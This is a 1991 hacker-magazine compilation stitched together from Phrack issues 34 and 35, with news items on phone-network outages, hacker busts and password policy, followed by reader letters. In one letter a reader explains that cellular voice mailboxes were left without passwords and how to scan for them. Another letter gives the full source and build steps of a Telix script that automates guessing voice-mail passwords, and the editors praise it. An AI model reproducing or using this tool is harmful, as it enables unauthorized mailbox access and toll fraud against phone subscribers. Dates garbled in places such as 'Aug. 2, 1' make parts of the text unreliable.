~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Edmund L. Andrew (New York Times)

WASHINGTON ‑‑ Striking similarities between nearly simultaneous computer malfunctions that disrupted local telephone service on the East Coast and in Los Angeles on Wednesday have raised questions among communications experts about the reliability of advanced networks that all the Bell telephone companies are now installing.

The problems experienced by both Pacific Bell and the Chesapeake and Potomac Co., which serves Washington, Maryland, Virginia and parts of West Virginia, involved computer programs on advanced call‑routing equipment, which uses the same new technology, one being adopted throughout the communications industry.

The problems, which were corrected in both areas by early evening on Wednesday, made it impossible for about nine million telephone customers to complete local telephone calls.

Although the origins of both malfunctions remained unclear on Thursday, the difficulties at the two companies bore a strong resemblance to a brief but massive breakdown experienced by the American Telephone and Telegraph Co.'s long‑distance lines in January 1990.

In all three cases, a problem at one switching center quickly corrupted other switches and paralyzed much of the system. Perhaps the biggest fear, federal regulators say, is that as telephone companies link their networks more closely, malfunctions at one company can infect systems at other companies and at long‑distance carriers.

"What you want to avoid is the situation where one system contaminates another," said an investigator at the Federal Communications Commission who insisted on anonymity.

"I guess the ultimate concern is that software or hardware would be deployed in a way that the corruption could be processed through entire network, and there would be no alternatives available."

As the telephone companies and government regulators tried to determine more precisely on Thursday what went wrong, investigators at the communications commission said they would also look at several other questions:

Are there system wide problems that have gone unnoticed until now? Can telephone companies reduce risks by reducing their dependence on one type of switching equipment? Were the disruptions caused by computer operators outside the telephone companies trying to sabotage the systems?

Officials at both companies discounted the possibility that a computer hacker might have caused the failures, and outside experts tended to agree.

"There's always that possibility, but most likely it was some kind of glitch or bug in the software," said A. Michael Noll, a professor at the Annenberg School of Communications at the University of Southern California and author of several textbooks on telecommunications technology.

Several independent communications experts said the problems reflected the difficulty of spotting all the hidden problems in complex software before putting it into commercial use.

"It's very hard to simulate all the possibilities in a laboratory," said Richard Jay Solomon, a telecommunications consultant and research associate at the Massachusetts Institute of Technology. "You have to go out in the field and keep your fingers crossed."

As more information became available on Thursday, the two disruptions appeared to be almost identical. The problem at Chesapeake & Potomac, a subsidiary of the Bell Atlantic Corp., began as the company was increasing the traffic being routed by one of its four signal processing computers. For reasons that remain a mystery, the system began to malfunction about 11:40 a.m.

The computer was supposed to shut itself down, allowing the traffic to be handled by other computers. Instead, it sent out a barrage of erroneous signals, apparently overwhelming the other two computers. "It was as if bogus information was being sent," said Edward Stanley, a company spokesman.

The same thing seems to have occurred almost two hours later, at about 11 a.m., in Los Angeles, said Paul Hirsch, a spokesman for Pacific Bell, a subsidiary of the Pacific Telesis Group.

Hirsch said the problem began when one of four signal transfer points signaled to the others that it was having problems. The other three computers froze after being overloaded by signals the defective computer.

Hirsch said his company continued to believe that the two telephone incidents were completely unrelated. "Someone wins the lottery every week," he said. "Stranger things can happen."

Officials at Chesapeake and Potomac said the problems were probably unrelated. Asked if hackers could have caused the problems, Ellen Fitzgerald, a spokeswoman for Chesapeake and Potomac, said she had been assured that the system could not be penetrated. But, she added, "a few days ago I would have told you that what happened yesterday wouldn't happen." Terry Adams, a spokesman at the DSC Communications Corp., which made both systems, said company officials also discounted any connection between the failures.

PWN/Part02

==Phrack Inc.==

Volume Three, Issue Thirty‑four, File #11 of 11

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN Phrack World News PWN

PWN PWN

PWN Issue XXXIV, Part Two PWN

PWN PWN

PWN Compiled by Dispater PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Mind Rape or Media Rape?

~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks: Night Ranger

Thursday September 26, 1991 was no ordinary day for Mind Rape, a young Arizona State college student. When he finally made it home that day, he found his home had been raided by the feds. 'They took EVERYTHING! Including my Metallica tape!' he told me. After talking to him for quite a while I learned a lot, not just about his bust but about hacking in general. He instructed me not to say anything specifically on the advice of his lawyer and the EFF, but he did want me to let the real reason he was busted be known ‑ His electronic newsletter entitled NSA (for National Security Anarchists). Mind Rape has some very important views on hacking that the government doesn't want others to hear. Some of these views were contained in his newest and soon to be released newsletter NSA issue number five, which was confiscated of course. He was also working on a book about hacker's philosophy, which was taken too. He has not yet been charged but in the eyes of the media he is already been tried and found guilty. It is unfortunate the general public gets its information from news reports like the following because, as you can see, they can be quite misleading. Hopefully once Mind Rape gets everything straight he will continue to write his book, after all it is his constitutional right to do so, and I think it be quite informative to both the hackers of the nineties and the outside world.

The following is a transcript of a news report covering his story...

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Male Announcer: That student is Donald _____ of Phoenix. Officials of LDL Long Distance believe he's one of around 20 hackers who've been ripping off their company for fun and profit. In tonight's Night Team Report we'll see how this kind of thievery adds up. The nation's telephone companies loose more than a billion dollars a year to hackers. Mark Nighten (sp?) a security director for LDL Long Distance. Last month he was poring through records like these which convinced him to believe that someone was making hundreds of computer generated phone calls to his company's 1‑800 access line trying to get customer's calling card codes. He went to the Phoenix Police. They got a search warrant and traced the calls to a house near 18th Drive near Union Hills. Police went there last month and came away with a computer, software and a list of phone codes, all belonging to 19 year old Donald _____ an ASU student. With nighten suspects _____ is just one of 20 hacker on his network who can make thousands of dollars worth of calls which would wind up on other people's phone bills.

Mark: You can see the magnitude of this. Off of one authorization code you could have 10, maybe 150 other people...

Male Announcer: Lemme ask ya...How bad are you getting ripped off here?

Mark: We've had to have somebody on this 24 hours a day. We've been getting killed.

Male Announcer: Hackers often sell the codes they steal to other students. So that hundreds of students and Arizona State University and University of Arizona also could be ripping of the company. Students at Arizona State University told me today that they have not herd of LDL's troubles, but they confirmed that stolen phone codes do have a way of getting around.

I iz a College Student: Someone hears...ya know...about the interest and someone else knows somebody...ya know...and they tell you and you talk to them and...ya know...it's not overly expensive or anything like that.

Male Announcer: Dr. Dan Kneer of Arizona State University's School of Business is a nationally recognized expert on computer crime. [who?] He contends that hacking is mushrooming.

Dr. Dan: The problem that I see is that these people philosophically don't see this as a crime. For most of them this is an intellectual challenge.

Male Announcer: That challenge led Dutch students to break into a United States Army Computer during operation desert storm. And as this Japanese documentary shows, it led hackers in a New York City to use payphones to commit big time rip‑offs. Now it's important to point out that Donald ______, that Arizona State University student, has not yet been charged with any crime and if he is charged he is innocent until proven guilty.

Female announcer: What is the penalty for hacking?

Male Announcer: Just for getting into a system when you're not supposed to can be up to a year and a half in prison. But if there is criminal intent to steal, to rip‑off that system, the penalty can be as high as 10 years in jail and a $150,000.00 fine.

________________________________________

Computer Hacker Gets Probation September 26, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks: Flaming Carrot (Pittsburgh Post‑Gazette)

A Mt. Lebanon woman who was able to make thousands of free long‑distance telephone calls by breaking into voice mail boxes with a touch tone telephone has been placed on 10 years probation. Last Friday, Common Pleas Judge Robert E. Dauer ordered Andrea Gerulis, 20, of Castle Shannon Boulevard to make restitution of $4,300 to Magee Womens Hospital and $2,516 to Pittsburgh Cellular Telephone Co.

Gerulis, a Mt. Lebanon High School graduate, was a computer hacker who entered telephone computer systems illegally so that she could make telephone calls without paying for the service. Mt. Lebanon police Detective John L. Michalec posed as a computer hacker and spent nine months investigating her activities, which were done by dialing codes on a touch‑tone telephone.

After a non‑jury trial in May, Dauer convicted her of two counts of theft of services and two counts of unlawful use of computers. Assistant District Attorney Thaddeus A. Dutkowski recommended probation because he didn't want Gerulis to go to jail, where she could teach inmates how to commit crimes with a telephone. If she were incarcerated, she would have the largest classroom environment she could hope for, Dutkowski said.

Dauer agreed that inmates already know too much about committing crimes with telephones. Gerulis told Dauer that she was sorry for what she did, that when she started, she was doing it for fun. She was also ordered to continue psychological counseling.

________________________________________

More Archaic Government Regulations Proposed

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Special Thanks: Stainless Steal Provider (New York Times)

The federal government said Thursday that it would introduce a standard for authenticating electronic data later this summer, but the announcement prompted an angry reaction from one of the leading private providers of software that protects computer data.

The company, RSA Data Security Inc. of Redwood City, Calif., said the government had failed to address fears about the possibility of a secret "trap door," which would permit intelligence and law‑enforcement agencies to look at private data.

The issue of providing special mechanisms to permit government access to private information has caused a growing public debate recently.

Earlier this year an anti‑terrorism bill introduced in Congress called on the computer and telecommunication industries to permit federal agencies to look at private data. But the statement was later dropped from the bill after extensive public opposition.

Government officials said that it would be possible for technical experts to examine the standard when it is released this summer and they could decide for themselves whether there were any shortcomings in the design of the standard.

"It will be openly published and people can inspect it to their heart's content," said James H. Burrows, head of the computer systems laboratory at the National Institute of Standards and Technology.

He added that the new standard was not intended to encrypt computer data, and that the government would continue to rely on an earlier technology known as the Data Encryption Standard to actually hide information from potential electronic eavesdroppers.

Burrows said there was a project under way to develop a successor to that standard, but that it was years away from completion.

________________________________________

Computer Whiz Accused Of Illegal Access and Mischief September 25, 1991

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Peter G. Chronis (The Denver Post Page 1 "NASA vs. Hobbyist")

An Aurora computer hobbyist who allegedly used a personal computer and his home phone to penetrate NASA computers hacked off Uncle Sam enough to be indicted on seven federal counts yesterday. Richard G. Wittman, 24, the alleged "hacker," was accused of two felonies, including gaining unauthorized access to NASA computers to alter, damage, or destroy information, and five misdemeanor counts of interfering with the government's operation of the computers. Wittman allegedly got into the NASA system on March 7, June 11, June 19, June 28, July 25, July 30, and Aug. 2, 1.

Bob Pence, FBI chief in Denver, said Wittman used a personal computer in his home and gained access to the NASA systems over telephone lines. The investigation, which took more than a year, concluded that Wittman accessed the NASA computer system and agency computers at the Marshall Space flight Center in Huntsville, Alabama, and the Goddard Space Flight Center in Greenbelt, Maryland.

The NASA computers are linked to a system called Telenet, which allows qualified people to access government data bases. A user name and password are required to reach the NASA computers. Federal sources declined to reveal more information because the complex case involves "sensitive material."

Wittman, a high‑school graduate, apparently hadn't worked in the computer industry and held a series of odd jobs. The felony counts against him each carry a possible five‑year prison term and $250,000 fine.

________________________________________

Security Increases

~~~~~~~~~~~~~~~~~

Special Thanks: Stainless Steal Provider (New York Times)

The foundation was started by Richard Stallman, who was awarded a MacArthur Foundation fellowship in 1. While mainstream software companies have prohibited users from freely copying their programs, Stallman, who is widely respected for developing computer languages and software editing tools, has argued that information is not the same as other commodities and should be shared without cost.

His password has been widely known among network users because he has refused to keep it secret. He is bitter about the changes that have accompanied the coming of age of computer networks.

Last month, after security was increased at the foundation and many users were stripped of their guest privileges, Stallman said he considered giving up his quest.

In the end, he decided that the cause of creating free software was too important to abandon, but he said he feels like a pariah. "Since I won't agree to have a real password, I will only be able to log in on the 'inside' machines,"

he wrote in an electronic message in response to a reporter's query.

"I still feel partly ashamed of participating in this. I've been forced to choose between two principles, both of which are so important to me that I won't accept the loss of either of them."

Idealists like Stallman and Ted Nelson, the author of the cult classic "Computer Lib," hoped that the computer revolution wouldn't be like the industrial revolution. This time the wealth ‑‑ information ‑‑ would be free to everyone and instant communication would break down the barriers between rich and poor and remake mankind.

Marvin Minsky, a computer science professor at MIT, said that for 15 years, beginning in 1963, researchers at the school lived in a paradise, sharing computers and networks before a system of password protection was installed. Now that has changed. "It's sad," he said.

"But Richard Stallman is living in a dream world. He has this view that his idea of computer ethics will prevail. But it's not going to happen this year or next."

Instead of finding community on computer networks, many users are now confronted with virus invasions and information theft, leading to the same sense of alienation and fear felt by residents of large cities.

"At first I thought this was Marshall McLuhan's global village coming to reality," said Neil Harris, a manager at General Electric Information Services Co., which sets up computer conferences and sells information to about 200,000 members around the world.

"But it's not that at all. It's a lot of people connecting in hundreds of small communities based around highly specific interests."

Steven Levy, who has written about the early days of computing at MIT, said that the demise of the Free Software Foundation's open door policy was inevitable.

"When you pass the plate around in church you don't expect people to steal from it," he said. "But sooner or later everyone knows that the plate is unguarded, and there are always people who don't care about the church. The question is how far do you go to protect it? Do you lock the church or do you send an armed guard around with the plate?"

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~

1. On June 12, 1991, Sirhackalot's equipment was confiscated by the Southern Bell and the FBI without any charges being filed. Neither the FBI nor Southern Bell bothered to explain why they were in his home and taking his personal possessions. Again neither party could tell Sirhackalot what he supposedly did to bring both agency's to his doorstep. Also busted were Mr.Doo and The Imortal Phreak. [Special Thanks: The Marauder (404)]

________________________________________

2. Bill Cook is no longer an assistant United States Attorney in Chicago. It is unknown how he left his position. Basic questions go unanswered. Did he quit or was fired? If he was fired, we'd like to know exactly why.

________________________________________

3. Wanted: Targets of Operation Sun Devil

Computer Professionals for Social Responsibility (CPSR) is pursuing a lawsuit against the Secret Service seeking the release of information concerning Operation Sun Devil. In recently filed court papers, the agency claims that the information cannot be disclosed because, among other reasons, disclosure would violate the privacy of those individuals who are the targets of the investigation. This argument can be overcome if CPSR obtains signed releases from those individuals. CPSR is requesting the cooperation of anyone who was the subject of a Sun Devil raid on or about May 7, 1. We are prepared to enter into an attorneyclient relationship with individuals responding to this request, so that confidentiality will be assured.

Please respond ASAP to:

David Sobel CPSR Legal Counsel (202) 544‑9240 dsobel@washofc.cpsr.org

________________________________________

4. Recently Microsoft discovered it was the victim of trespassing. A security guard noticed two people playing volleyball on the premises and knew that they did not work for Microsoft. The officer approached the volleyball players and asked them to leave. The trespassers left. Later someone asked the security guard how he knew that the people playing volleyball were not Microsoft employees. He replied, "They had tans." [Special Thanks: Psychotic Surfer]

________________________________________

35

- Introduction to Phrack 34 by Dispater & Crimson Death

- Phrack Loopback by Phrack Staff

- Phrack Profile of Chris Goggans by S. Leonard Spitz

- Telenet/Sprintnet's PC Pursuit Outdial Directory by Amadeus

- Sting Operations by Sovereign Immunity

- Social Security Numbers & Privacy by Chris Hibbert

- Users Guide to VAX/VMS Part 1 of 3 by Black Kat

- A Beginners Guide to Novell Netware 386 by The Butler

- Auto-Answer It by Twisted Pair

- PWN/Part 1 by Dispater

- PWN/Part 2 by Dispater

- PWN/Part 3 by Dispater

- PWN/Part 4 by Dispater

Introduction to Phrack 34

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 1 of 13

Issue XXXV Index

__________

P H R A C K 3 5

November 17,1991

__________

~Don't Tread on Me!~

Phrack Inc. is going great! In fact so great that we already have enough material for the next two issues including the long‑awaited sequel to Phrack 13 (the infamous joke issue released on April 1, 1987), Diet Phrack! That issue which will be number 36 is scheduled for release next month and will mark the end of Volume 3. If you have anything that is somewhat humorous, send it over to us at Phrack as soon as possible so we can include it.

Phrack Inc. celebrates its sixth birthday with the release of this issue. Exactly six years ago, sitting in front of an IBM PC known as Metal Shop Private, were Taran King and Knight Lightning releasing a soon to be famous publication called Phrack Inc. That first issue wasn't much, a small collection of eight files sent across the country to bulletin boards at 1200 baud. Six years is quite a long time in the hacker underground. Today we send Phrack to thousands of people at hundreds of Internet sites spanning the entire world. Phrack has become more than a magazine, it truly is an institution. Long Live Phrack!

Pay close attention to Phrack World News this issue for details on HoHo/ XMAScon and many other stories with serious ramifications to our way of life.

Special thanks to Twisted Pair (for the help in a jam), Amadeus, The Butler, and Black Kat for the great files. Thanks to the Great Gatsby, just because he is cool. It's people like you that keeps this magazine comming out so frequently.

This month we have had a ton of letters for Phrack Loopback. If your letter or question did not appear, we are sorry that it has to wait one more issue! The last issue really got some administrators (or wanna‑be admins) steamed at us. Check out Phrack Loopback and PWN Quicknotes for details.

Your Editors,

Crimson Death and Dispater phrack@stormking.com

Submissions: phrack@stormking.com

FTP Distribution: cs.widener.edu or eff.org

________________________________________

Phrack XXXV Table of Contents

=‑=‑=‑=‑=‑=‑=‑=

1. Introduction to Phrack 34 by Crimson Death and Dispater

2. Phrack Loopback by Phrack Staff

3. Phrack Profile of Chris Goggans by S. Leonard Spitz

4. Telenet/Sprintnet's PC Pursuit Outdial Directory by Amadeus 5. Sting Operations by Sovereign Immunity

6. Social Security Numbers & Privacy by Chris Hibbert of CPSR

7. Users Guide to VAX/VMS Part 1 of 3 by Black Kat

8. A Beginners Guide to Novell Netware 386 by The Butler

9. Auto‑Answer It by Twisted Pair

10. PWN/Part 1 by Dispater

11. PWN/Part 2 by Dispater

12. PWN/Part 3 by Dispater

13. PWN/Part 4 by Dispater

Phrack Loopback

==Phrack Inc.==

Volume Three, Issue Thirty‑five, File 2 of 13

[‑=:< Phrack Loopback >:=‑]

By Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place The Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

What's on Your Mind

~~~~~~~~~~~~~~~~~~

:: Hacking VMB's ::

From: Mr. Upsetter

To: phracksub@stormking.com

Subject: Phrack 34 VMB article

The article in Phrack 34 on voice mail hacking by Night Ranger was really good. It reminded me of some experiences I had with a cellular voice mail system a couple years ago in San Diego. I would bet there are similar systems in other cities.

These VMB's would automatically answer calls when the subscriber wasn't on the air. They worked just like standard VMB's. To access the box, the owner could dial his or her own cellular number, then hit * when it answered. Then the VMB would ask for a password.

Guess what the default password was? None! That meant all you had to do was dial up a cellular VMB and hit *, and you were in. How many VMB's still had the default password? About half...

To scan for cellular VMB's all you had to do was dial numbers in the cellular prefix. It was pretty fun...almost too easy.

Cheers,

Mr. Upsetter

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

>From: Zoso Puda

>

>After reading PHRACK 34 I thought it was good. Especially the article on VMB >hacking. As a matter of fact I wrote a SALT script to help me do it.

This is exactly what we like to see. People actually getting basic information and building on it.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| ZoSoft Telix VMB Hacker |

|

| written by: Zoso Puda |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First words

‑‑‑‑‑‑‑‑‑‑‑

After reading Night Ranger's article (see PHRACK 34), I decided to make a VMB hacking program. Night Ranger provided good insight into how to hack VMB systems but some VMBs are hard to crack. What I came up with is a program to help me hack some of the harder systems. The ones that don't use the defaults are tough. Also my phone has the buttons and earpiece in one unit and I had to dial then put the phone to my ear and listen, look at the buttons to dial a number and put the phone back to my ear to listen. It soon became tiresome.

What I finally came up with was a program to let me run all the phone functions from the keyboard. My modem speaker is loud enough to hear clearly so it seemed like the perfect thing to do. I also automated certain features like incrementing the password or box number. The program is not fully automated however. You must run this program manually. It's main purpose is to allow you to run normal phone functions via the keyboard. If you cannot hear clearly through your modem speaker then pick up the phone after the program dials the VMB phone # and hang up the phone before hanging up the modem.

What follows is a brief description on how to use the program, compile the program, and run the program. A working knowledge of VMB systems is expected.

Parameter details

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VMB phone number : If you don't know this, give it up.

Setup sequence : This code is used for systems that require a '9' or '#' or '*' to be pressed before the box number. Up to 3 characters can be in this string.

Valid Box # : This would be a known valid box or the box you will be attempting to hack. This value remains constant.

Codefile filename: You may use a file to get 'default' or your favorite passwords from. You must include the extension.

Starting box/code: Box # or code to start checking. This value will increase automatically upon pressing [F7].

Using the function keys

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[F1] Dials the VMB system (see params). [F2] Hangs‑up the modem.

[F3] Closes the current codefile.(see params). [F4] Lets you set the current code/box #. [F5] Dials the Setup sequence (see params). [F6] Dials the current code. [F7] Makes the next code current. [F8] Dials the valid box (see params). [F9] Allows you to re‑set the parameters. [F10] Hangs‑up and quits the program. [0 ‑ 9] These keys will dial 0 ‑ 9 respectively. [*, #] These keys will dial * and #. [/] Used as a substitute # for the keypad.

Basic Insructions

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Codefiles should be stored in the same directory as your Telix program.

A sample codefile should look like this:

1111

2222

3333

etc...

I suggest you make seperate codefiles for the number of digits in each code. For example, all 3 digit codes should be in a file called 3DIGIT.COD, or something similar.

During parameter entry, if you enter a codefile and it exists, you will NOT be prompted for a 'Starting box/code'. When the codefile is finished, the current code will set itself to 1000.

If you enter a blank for the codefile or the name you entered doesn't exist then you will be prompted for a 'Starting Box/Code'.

Compiling

‑‑‑‑‑‑‑‑‑

Save the program within the 'CUT HERE' lines as VMBHACK.SLT. Copy the file VMBHACK.SLT into the directory where your Telix scripts are. Compile using CS.EXE. (example: CS VMBHACK.SLT) To run the program, load Telix and press Alt‑G followed by the program name (VMBHACK).

//‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<CUT HERE>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

// ZoSoft VMB Hacker Version 1.4

// Code by: Zoso, November 1991

//

// See PHRACK 34 for more information on VMB systems.

//

// NOTE: Do not remove the credits of the original author, modified versions

// you may add credits, but please do not remove any.

//

str code[10], // Global Variables

codes[10],

reset[1],

vmb_number[15],

borc[1],

valid[10],

setup[3];

str filename[12],

fstatus[10];

int f;

int fflag = 0;

init_modem() // Modem initialization

{

cputs("AT X3 S6=0 S7=0 S11=105 M1 L3"); // X must be 3, L is Loudness on

cputs("^M"); // some modems, you may have to

waitfor("OK",20); // alter this. See you modem

manual.

}

vmb_dial(str string) // Dial function

{

str workstr[20];

workstr = string;

strcat(workstr,";");

cputs("ATDT");

cputs(workstr);

cputs("^M");

cputs("^M");

}

hang_up() // Hang Up function

{

hangup();

waitfor("",20);

cputs("ATH0");

cputs("^M");

cputs("^M");

clear_scr();

display();

}

next_code() // Next code function

{

int cd;

if (fflag)

{

if (not feof(f)) // Check for file first

{

fgets(code,10,f);

return;

}

if (feof(f))

{

file_close();

code = "999";

goto NEXTCODE;

}

}

NEXTCODE:

cd = stoi(code);

cd = cd + 1; // This line determines how the

code

itos(cd,code); // gets incremented.

}

set_code() // Enter new code

{

gotoxy(65,2);

gets(code,10);

}

parameters() // Set parameters

{

str c[1];

file_close();

GETINFO:

clear_scr();

printsc("VMB Hacker Parameters^M^J");

printsc("^M^JVMB phone number :");

gets(vmb_number,15);

printsc("^M^JSetup sequence :");

gets(setup,3);

printsc("^M^JValid box # :");

gets(valid,10);

printsc("^M^JCodefile filename :");

gets(filename,12);

if (filename != "")

{

open_file();

next_code();

}

if (not fflag)

{

filename = "N/A";

printsc("^M^JStarting box/code :");

gets(code,10);

}

printsc("^M^J^M^JCorrect? (Y/n):");

gets(c,1);

if (c == "n" || c == "N")

goto GETINFO;

}

press_enter() // Pause routine

{

str a[1];

pstraxy("Press [ENTER] to continue...",20,23,11);

gets(a,1);

}

title_scr() // Title screen

{

str i[1];

TITLE:

clear_scr();

pstraxy(" ‑ ZoSoft VMB Hacker V1.4 ‑",20,4,11);

pstraxy("written for Telix by: Zoso Puda",20,6,14);

press_enter();

}

display() // Display screen

{

box(0,0,78,3,4,0,19); box(0,0,78,5,4,0,19);

pstraxy("[ ZoSoft VMB Hacker V1.4 ]",25,0,31);

pstraxy("VMB Number:",4,2,31); // Information display

pstraxy(vmb_number,16,2,27);

pstraxy("Valid #:",33,2,31);

pstraxy(valid,42,2,27);

pstraxy("Current:",57,2,31);

pstraxy(code,66,2,27);

pstraxy("Codefile:",6,4,31);

pstraxy(filename,16,4,27);

pstraxy("File status:",29,4,31);

pstraxy(fstatus,42,4,27);

pstraxy("Setup sequence:",50,4,31);

pstraxy(setup,66,4,27);

box(0,6,78,10,4,0,103); // Function key display

pstraxy("[ ]",30,6,111);

pstraxy(" 0 ‑ 9,*,#",31,6,110);

pstraxy("[ ] Dial VMB", 2,7,111);

pstraxy("F1", 3,7,110);

pstraxy("[ ] Hang up",22,7,111);

pstraxy("F2",23,7,110);

pstraxy("[ ] Close file",42,7,111);

pstraxy("F3",43,7,110);

pstraxy("[ ] Set Current",61,7,111);

pstraxy("F4",62,7,110);

pstraxy("[ ] Setup seq.",2,8,111);

pstraxy("F5", 3,8,110);

pstraxy("[ ] Dial current",22,8,111);

pstraxy("F6",23,8,110);

pstraxy("[ ] Next box/code",42,8,111);

pstraxy("F7",43,8,110);

pstraxy("[ ] Valid box",61,8,111);

pstraxy("F8",62,8,110);

pstraxy("[ ] Parameters",22,9,111);

pstraxy("F9",23,9,110);

pstraxy("[ ] QUIT",41,9,111);

pstraxy("F10",42,9,110);

gotoxy(0,11);

}

quit_vmb() // End program

{

file_close();

hangup();

waitfor("",20);

clear_scr();

printsc("Thanks for using ZoSoft's VMB Hacker.^M^J^M^J"); cputs_tr(_mdm_init_str); // Restore modem params

}

open_file() // Open Codefile

{

fflag = 1;

f = fopen(filename,"r");

fstatus = "OPEN";

if (ferror(f))

file_close();

}

file_close() // Close Codefile

{

fflag = 0;

fclose(f);

fstatus = "CLOSED";

}

main() // MAIN program module

{

int chr;

title_scr();

parameters();

clear_scr();

display();

init_modem();

TOP:

gotoxy(0,11);

chr = inkeyw();

if (chr == '0') vmb_dial("0"); // Dial 0‑9

if (chr == '1') vmb_dial("1");

if (chr == '2') vmb_dial("2");

if (chr == '3') vmb_dial("3");

if (chr == '4') vmb_dial("4");

if (chr == '5') vmb_dial("5");

if (chr == '6') vmb_dial("6");

if (chr == '7') vmb_dial("7");

if (chr == '8') vmb_dial("8");

if (chr == '9') vmb_dial("9");

if (chr == '#') vmb_dial("#"); // Pound sign (#)

if (chr == '/') vmb_dial("#"); // Make (/) same as (#) for keypad

if (chr == '*') vmb_dial("*"); // Asterisk (*)

if (chr == 15104) // F1

vmb_dial(vmb_number);

if (chr == 15360) // F2

hang_up();

if (chr == 15616) // F3

{

file_close();

display();

}

if (chr == 15872) // F4

{

set_code();

display();

}

if (chr == 16128) // F5

vmb_dial(setup);

if (chr == 16384) // F6

vmb_dial(code);

if (chr == 16640) // F7

{

next_code();

display();

}

if (chr == 16896) // F8

vmb_dial(valid);

if (chr == 17152) // F9

{

hang_up();

parameters();

display();

}

if (chr == 17408) // F10

{

quit_vmb();

goto END;

}

goto TOP;

END:

prints("^M^J");

}

//‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑<CUT HERE>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

________________________________________

:: More Legal Stuff ::

>From: "Michael Lawrie, Operations" <MICHAEL@hicom.loughborough.ac.uk> >Subject: RE: Who/What is this?

>

>In this country, the receipt of documents like this would probably be >pretty helpful in sending a person down on a conspiracy to contravene >a section or more of the Computer Misuse Act, I do not appreciate crap >like this appearing on my machine but since you didn't send it me, I >can't really moan at you ‑ What I would appreciate though is if you >told people that forwarding it to people who don't want it is probably >not a good idea, unless you want all your list members locked up in >some pokey British gaol that is!

>

>Michael Lawrie.

>‑‑‑

>Michael Lawrie, Hicom Group Security <security@uk.ac.lut.hicom>

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Sir,

You will have to excuse my ignorance of telecom laws in other countries. In the United States, distribution of technical information such as Phrack Inc. is protected by law.

Hackers are not involved in conspiracies or plots. Most hackers could care less about politics. Hackers are interested in the progression of technology and learning about how our advanced society works. The inefficient structure known as government is the last thing most hackers are interested in exploring.

Phrack Inc. has no "membership." Phrack Inc. is an electronically distributed publication. It is like any other security oriented newsletter. Have you ever heard of "Computer Security Journal", "Computers and Security", or "Computer Crime Digest?" These are some of the "security industry" publications that are read in the U.S. Phrack Inc. merely has a little different flavor to it. If you are interested in seeing any of these printed journals, I can forward their address to you.

I am sorry if you received Phrack Inc. and didn't wish to read it. You might wish to take the matter up with the person that forwarded it to you. I hope it wasn't too big of an inconvenience for you to delete the mail message containing Phrack Inc.

Cheers,

Dispater

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

After a (as it turns out not so private) conversation with Torq, it seems this guy isn't even an admin anywhere. He just likes to pretend he is. Did my reply end this little debate? NOT! This person had the nerve to intercept my private mail to Torq and then proceeded to bitch about it some more.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

>From MICHAEL@hicom.loughborough.ac.uk Sat Nov 9 09:45:53 1991 Date: Fri, 8 Nov 91 13:19 GMT

From: "Michael Lawrie, Operations" <MICHAEL@hicom.loughborough.ac.uk> To: PHRACKSUB <<@nsfnet‑relay.ac.uk:PHRACKSUB@STORMKING.com>> Subject: The EFF.

I found the following message the other day, whilst routing around, I am to assume you lied to me about taking him off the list but for now we'll forget that.

> From phrack@gnu.ai.mit.edu Wed Oct 23 01:41:51 1991

> Date: Wed, 23 Oct 91 01:41:47 ‑0400

> From: phracksub@stormking.com

> Message‑Id: <::::::::::::::::::::::>

> To: torq@:::::::::::::::

> Subject: Phrack

>

> This guy sounds like a total idiot. If he does kill your account or something > stupid, get a hold of the EFF. They went to bat for someone who had their > account revoked because he/she had issues of Phrack on their directory. >

> people should get a clue....

>

> Dispater

> phracksub@stormking.com

As you say, people should get a clue. Are you assuming that 'torq' is perhaps American and as such has his rights protected by constitution? He isn't, he is British and doesn't really as such have much going for him. If I want to kill his account I can do it at the bat of an eyelid, whilst him receiving 'Phrack' is not breaking any laws because it does not show intent, it would be breaking my machine's regulations if it came here. I would enjoy the EFF to come 'to bat' for Torq if I revoke his account for having issues of Phrack in his directory, Its a shame he hasn't. Does the EFF have any good lawyers in the UK that you know of?

Regards...

Michael.

‑‑‑

